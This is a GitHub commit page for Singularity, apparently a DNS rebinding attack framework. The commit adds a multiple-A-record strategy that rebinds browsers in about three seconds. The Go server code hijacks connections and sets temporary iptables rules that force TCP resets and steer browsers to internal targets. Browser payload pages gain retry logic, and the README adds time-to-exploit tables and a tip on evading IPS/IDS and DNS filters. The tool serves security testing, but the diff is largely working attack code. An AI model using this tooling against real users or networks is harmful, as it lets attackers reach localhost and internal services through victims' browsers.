Skip to content

Commit

Permalink
Near-instant rebinding on major browsers/platforms.
Browse files Browse the repository at this point in the history
  • Loading branch information
gdncc committed Aug 27, 2018
1 parent c6f8d00 commit 38a2611
Show file tree
Hide file tree
Showing 6 changed files with 117 additions and 80 deletions.
21 changes: 20 additions & 1 deletion Readme.md
Expand Up @@ -175,12 +175,29 @@ Singularity has been tested to work in the following browsers:
| Edge | Windows 10 | ~21 to ~49 min |
| Firefox | OSX | ~1 min |
| Chrome | OSX | ~1 min |
| Safari | OSX | ~1 min |
| Chrome | Android | ~1 min |
| Firefox | Android | ~1 min |
| Safari | iOS | ~1 min |
| Firefox | iOS | ~1 min |
Microsoft Internet Explorer is currently not supported. Attacks via Microsoft Edge are possible but take a long time.
The above was tested with Singularity's default conservative settings:
* DNS rebinding strategy: `DNSRebindFromQueryFirstThenSecond`
* Fetch interval (Web interface): 20s
* Target: 127.0.0.1.
Much faster attacks can be achieved in certain configurations, as detailed in the table below:
| Browser | Operating System | Time to Exploit | Rebinding Strategy | Fetch Interval | Target Specification |
| --- | --- | --- | --- | ---| ---|
| Chrome | Windows 7 / 10 | ~3s | `DNSRebindFromFromQueryMultiA` | 1s | 127.0.0.1 |
| Edge | Windows 10 | ~3s | `DNSRebindFromFromQueryMultiA` | 1s |127.0.0.1 |
| Firefox | Ubuntu | ~3s | `DNSRebindFromFromQueryMultiA` | 1s | 0.0.0.0 |
| Chromium | Ubuntu | ~3s | `DNSRebindFromFromQueryMultiA` | 1s | 0.0.0.0 |
| Chrome | OSX | ~3s | `DNSRebindFromFromQueryMultiA` | 1s |0.0.0.0 |
| Safari | OSX | ~3s | `DNSRebindFromFromQueryMultiA` | 1s |0.0.0.0 |
We will add more platform as we test them. We elected a delay of 3s to perform DNS rebinding to cater for targets with a poor connection to the internet/network.
## Using Singularity
When Singularity is run without arguments, the manager web interface
Expand All @@ -204,6 +221,7 @@ Launch the Singularity binary, (`singularity-server`), with the `-h` parameter t
- `DNSRebindFromQueryRoundRobin`
- `DNSRebindFromQueryFirstThenSecond` (default)
- `DNSRebindFromQueryRandom`
- `DNSRebindFromFromQueryMultiA`
- `-HTTPServerPort value` :
Specify the attacker HTTP Server port that will serve HTML/JavaScript files.
Repeat this flag to listen on more than one HTTP port.
Expand Down Expand Up @@ -314,6 +332,7 @@ application via the Google Chrome browser for instance.
* Test `dig` query: `dig "s-ip.ad.dr.ss-127.0.0.1-<random_number>--e.dynamic.your.domain" @ip.ad.dr.ss`
* `sudo ./singularity-server -HTTPServerPort 8080 -HTTPServerPort 8081 -dangerouslyAllowDynamicHTTPServers` starts a server on port 8080 and 8081 and enables requesting dynamically one additional HTTP port via the Manager interface.
* Testing a service for a DNS rebinding vulnerability: In an HTTP intercepting proxy such as Portswigger's Burp Suite, replay a request to `localhost`, replacing the host header value e.g. "localhost" with "attacker.com". If the request is accepted, chances are that you have found a DNS rebinding vulnerability. What you can do after, the impact, depends on the vulnerable application.
* The `DNSRebindFromFromQueryMultiA` rebinding strategy does not support the "localhost" target value if trying to evade IPS/IDS and DNS filters.
## Contributing
Expand Down
5 changes: 3 additions & 2 deletions cmd/singularity-server/main.go
Expand Up @@ -87,10 +87,11 @@ func main() {
appConfig := initFromCmdLine()
dcss := &singularity.DNSClientStateStore{Sessions: make(map[string]*singularity.DNSClientState),
RebindingStrategy: appConfig.RebindingFnName}
hss := &singularity.HTTPServerStore{DynamicServers: make([]*http.Server, 2),
hss := &singularity.HTTPServerStoreHandler{DynamicServers: make([]*http.Server, 2),
StaticServers: make([]*http.Server, 1),
Errc: make(chan singularity.HTTPServerError, 1),
AllowDynamicHTTPServers: appConfig.AllowDynamicHTTPServers}
AllowDynamicHTTPServers: appConfig.AllowDynamicHTTPServers,
Dcss: dcss}

// Attach DNS handler function
dns.HandleFunc(".", singularity.MakeRebindDNSHandler(appConfig, dcss))
Expand Down
3 changes: 2 additions & 1 deletion firewall.go
Expand Up @@ -25,6 +25,7 @@ func NewIPTableRule(srcAddr string, srcPort string,
return &p
}

// TODO Experimental
func (ipt *IPTablesRule) generateSourcePortRange(max int) {
i, err := strconv.Atoi(ipt.srcPort)
if err != nil {
Expand All @@ -49,7 +50,7 @@ func (ipt *IPTablesRule) generateSourcePortRange(max int) {
func (ipt *IPTablesRule) makeAndRunRule(command string) {
rule := exec.Command("/sbin/iptables",
command, "INPUT", "-p", "tcp", "-j", "REJECT", "--reject-with", "tcp-reset",
"--source", ipt.srcAddr, "--sport", ipt.srcPortRange,
"--source", ipt.srcAddr, //"--sport" srcPortRange,
"--destination", ipt.dstAddr, "--destination-port", ipt.dstPort)
err := rule.Run()
log.Printf("`iptables` finished with error: %v", err)
Expand Down
2 changes: 1 addition & 1 deletion html/payload-simple-fetch-get.html
Expand Up @@ -18,7 +18,7 @@
fetch('/')
.then(responseOKOrFail("Could not submit a request to get a list of keys"))
.then(function (response) { // we successfully received the server response
if (response.includes(indextoken) == false) {
if (response.includes(indextoken) == false && response.length > 0) {
clearInterval(timer); // stop the attack timer
console.log("SUCCESS"); // log to the console
// Terminate the attack:
Expand Down
5 changes: 5 additions & 0 deletions html/payload-simple-xhr-get.html
Expand Up @@ -43,6 +43,11 @@
return;
}

if (responseText.length == 0 ) { //sometimes the response is empty.
console.log("Response length is 0. Retrying...");
return;
}

// No need to retry, the attack succeeded.
clearInterval(timer);

Expand Down
161 changes: 86 additions & 75 deletions singularity.go
Expand Up @@ -323,7 +323,6 @@ func MakeRebindDNSHandler(appConfig *AppConfig, dcss *DNSClientStateStore) dns.H
log.Printf("Response: %v\n", resp)
}
}

}
}
}
Expand All @@ -337,19 +336,23 @@ func MakeRebindDNSHandler(appConfig *AppConfig, dcss *DNSClientStateStore) dns.H
// for all routes
type DefaultHeadersHandler struct {
NextHandler http.Handler
dcss *DNSClientStateStore
}

// HTTPServerStore holds the list of HTTP servers
// HTTPServerStoreHandler holds the list of HTTP servers
// Many servers at startup and one (1) dynamically instantianted server
// Access to the servers list must be performed via mutex
type HTTPServerStore struct {
type HTTPServerStoreHandler struct {
Errc chan HTTPServerError // communicates http server errors
AllowDynamicHTTPServers bool
sync.RWMutex
DynamicServers []*http.Server
StaticServers []*http.Server
dcss *DNSClientStateStore
Dcss *DNSClientStateStore
}

// IPTablesHandler is a HTTP handler that adds/removes iptables rules
// if the DNS rebinding strategy is to respond with multiple A records.
type IPTablesHandler struct {
}

type httpServerInfo struct {
Expand All @@ -367,68 +370,6 @@ type HTTPServersConfig struct {
// HTTP Handler for "/" - Add headers then calls next NextHandler()

func (d *DefaultHeadersHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {

//We handle the particular case where we use multiple A records DNS rebinding.
// We hijack the connection from the HTTP server
// * if we have a DNS session with the client browser
// * and if this session is more than 3 seconds.
// Then we create a Linux iptables rule that drops the connection from the browser
// using an unsolicited TCP RST packet.
// The connection being dropped is defined by the source address,
// source port range(current port + 10) and the server address and port.
// The rule is removed after 10 seconds after being implemented.
// In the singularity manager interface,
// we need to ensure that the polling interval is fast, e.g. 1 sec.
name, err := NewDNSQuery(r.Host)
if err == nil {

d.dcss.RLock()
dnsCacheFlush := d.dcss.Sessions[name.Session].DNSCacheFlush
elapsed := time.Now().Sub(d.dcss.Sessions[name.Session].CurrentQueryTime)
d.dcss.RUnlock()

if d.dcss.RebindingStrategy == "DNSRebindFromFromQueryMultiA" {
if dnsCacheFlush == false { // This is not a request for cache eviction
if elapsed > (time.Second * time.Duration(3)) {
log.Printf("Attempting Multiple A records rebinding for: %v", name)
hj, ok := w.(http.Hijacker)
if !ok {
log.Printf("webserver doesn't support hijacking\n")
return
}
conn, bufrw, err := hj.Hijack()
if err != nil {
log.Printf("could not hijack http server connection: %v\n", err.Error())
return
}

defer conn.Close()

log.Printf("implementing firewall rule for %v\n", conn.RemoteAddr())
dst := strings.Split(conn.LocalAddr().String(), ":")
src := strings.Split(conn.RemoteAddr().String(), ":")
srcAddr := src[0]
srcPort := src[1]
dstAddr := dst[0]
dstPort := dst[1]

ipTablesRule := NewIPTableRule(srcAddr, srcPort, dstAddr, dstPort)
go func(rule *IPTablesRule) {
time.Sleep(time.Second * time.Duration(10))
ipTablesRule.RemoveRule()
}(ipTablesRule)

ipTablesRule.AddRule()

bufrw.WriteString("\x00")
bufrw.Flush()

return
}
}
}
}

w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate") // HTTP 1.1
w.Header().Set("Pragma", "no-cache") // HTTP 1.0
w.Header().Set("Expires", "0") // Proxies
Expand All @@ -437,7 +378,7 @@ func (d *DefaultHeadersHandler) ServeHTTP(w http.ResponseWriter, r *http.Request
}

// HTTP Handler for /servers
func (hss *HTTPServerStore) ServeHTTP(w http.ResponseWriter, r *http.Request) {
func (hss *HTTPServerStoreHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json; charset=UTF-8")

serverInfo := httpServerInfo{}
Expand Down Expand Up @@ -511,7 +452,7 @@ func (hss *HTTPServerStore) ServeHTTP(w http.ResponseWriter, r *http.Request) {
}
hss.Unlock()

httpServer := NewHTTPServer(port, hss, hss.dcss)
httpServer := NewHTTPServer(port, hss, hss.Dcss)
httpServerErr := StartHTTPServer(httpServer, hss, true)

if httpServerErr != nil {
Expand All @@ -534,13 +475,83 @@ func (hss *HTTPServerStore) ServeHTTP(w http.ResponseWriter, r *http.Request) {

}

func (ipt *IPTablesHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {

hj, ok := w.(http.Hijacker)
if !ok {
log.Printf("webserver doesn't support hijacking\n")
return
}
conn, bufrw, err := hj.Hijack()
if err != nil {
log.Printf("could not hijack http server connection: %v\n", err.Error())
return
}

defer conn.Close()

log.Printf("implementing firewall rule for %v\n", conn.RemoteAddr())
dst := strings.Split(conn.LocalAddr().String(), ":")
src := strings.Split(conn.RemoteAddr().String(), ":")
srcAddr := src[0]
srcPort := src[1]
dstAddr := dst[0]
dstPort := dst[1]

ipTablesRule := NewIPTableRule(srcAddr, srcPort, dstAddr, dstPort)
go func(rule *IPTablesRule) {
time.Sleep(time.Second * time.Duration(5))
ipTablesRule.RemoveRule()
}(ipTablesRule)

ipTablesRule.AddRule()

bufrw.WriteString("HTTP")
bufrw.Flush()

}

// NewHTTPServer configures a HTTP server
func NewHTTPServer(port int, hss *HTTPServerStore, dcss *DNSClientStateStore) *http.Server {
d := &DefaultHeadersHandler{NextHandler: http.FileServer(http.Dir("./html")),
dcss: dcss}
func NewHTTPServer(port int, hss *HTTPServerStoreHandler, dcss *DNSClientStateStore) *http.Server {
d := &DefaultHeadersHandler{NextHandler: http.FileServer(http.Dir("./html"))}
ipth := &IPTablesHandler{}
h := http.NewServeMux()

h.Handle("/", d)
h.HandleFunc("/", func(w http.ResponseWriter, req *http.Request) {
//We handle the particular case where we use multiple A records DNS rebinding.
// We hijack the connection from the HTTP server
// * if we have a DNS session with the client browser
// * and if this session is more than 3 seconds.
// Then we create a Linux iptables rule that drops the connection from the browser
// using an unsolicited TCP RST packet.
// The connection being dropped is defined by the source address,
// source port range(current port + 10) and the server address and port.
// The rule is removed after 10 seconds after being implemented.
// In the singularity manager interface,
// we need to ensure that the polling interval is fast, e.g. 1 sec.

name, err := NewDNSQuery(req.Host)
if err == nil {

dcss.RLock()
dnsCacheFlush := dcss.Sessions[name.Session].DNSCacheFlush
elapsed := time.Now().Sub(dcss.Sessions[name.Session].CurrentQueryTime)
rebindingStrategy := dcss.RebindingStrategy
dcss.RUnlock()

if rebindingStrategy == "DNSRebindFromFromQueryMultiA" {
if dnsCacheFlush == false { // This is not a request for cache eviction
if elapsed > (time.Second * time.Duration(3)) {
log.Printf("Attempting Multiple A records rebinding for: %v", name)
ipth.ServeHTTP(w, req)
return
}
}
}
}
d.ServeHTTP(w, req)
})

h.Handle("/servers", hss)

httpServer := &http.Server{Addr: ":" + strconv.Itoa(port), Handler: h}
Expand All @@ -561,7 +572,7 @@ type HTTPServerError struct {

// StartHTTPServer starts an HTTP server
// and adds it to dynamic (if dynamic is true) or static HTTP Store
func StartHTTPServer(s *http.Server, hss *HTTPServerStore, dynamic bool) error {
func StartHTTPServer(s *http.Server, hss *HTTPServerStoreHandler, dynamic bool) error {

var err error

Expand Down Expand Up @@ -600,7 +611,7 @@ func StartHTTPServer(s *http.Server, hss *HTTPServerStore, dynamic bool) error {
}

// StopHTTPServer stops an HTTP server
func StopHTTPServer(s *http.Server, hss *HTTPServerStore) {
func StopHTTPServer(s *http.Server, hss *HTTPServerStoreHandler) {
log.Printf("Stopping HTTP Server on %v\n", s.Addr)
s.Close()
}

0 comments on commit 38a2611

Please sign in to comment.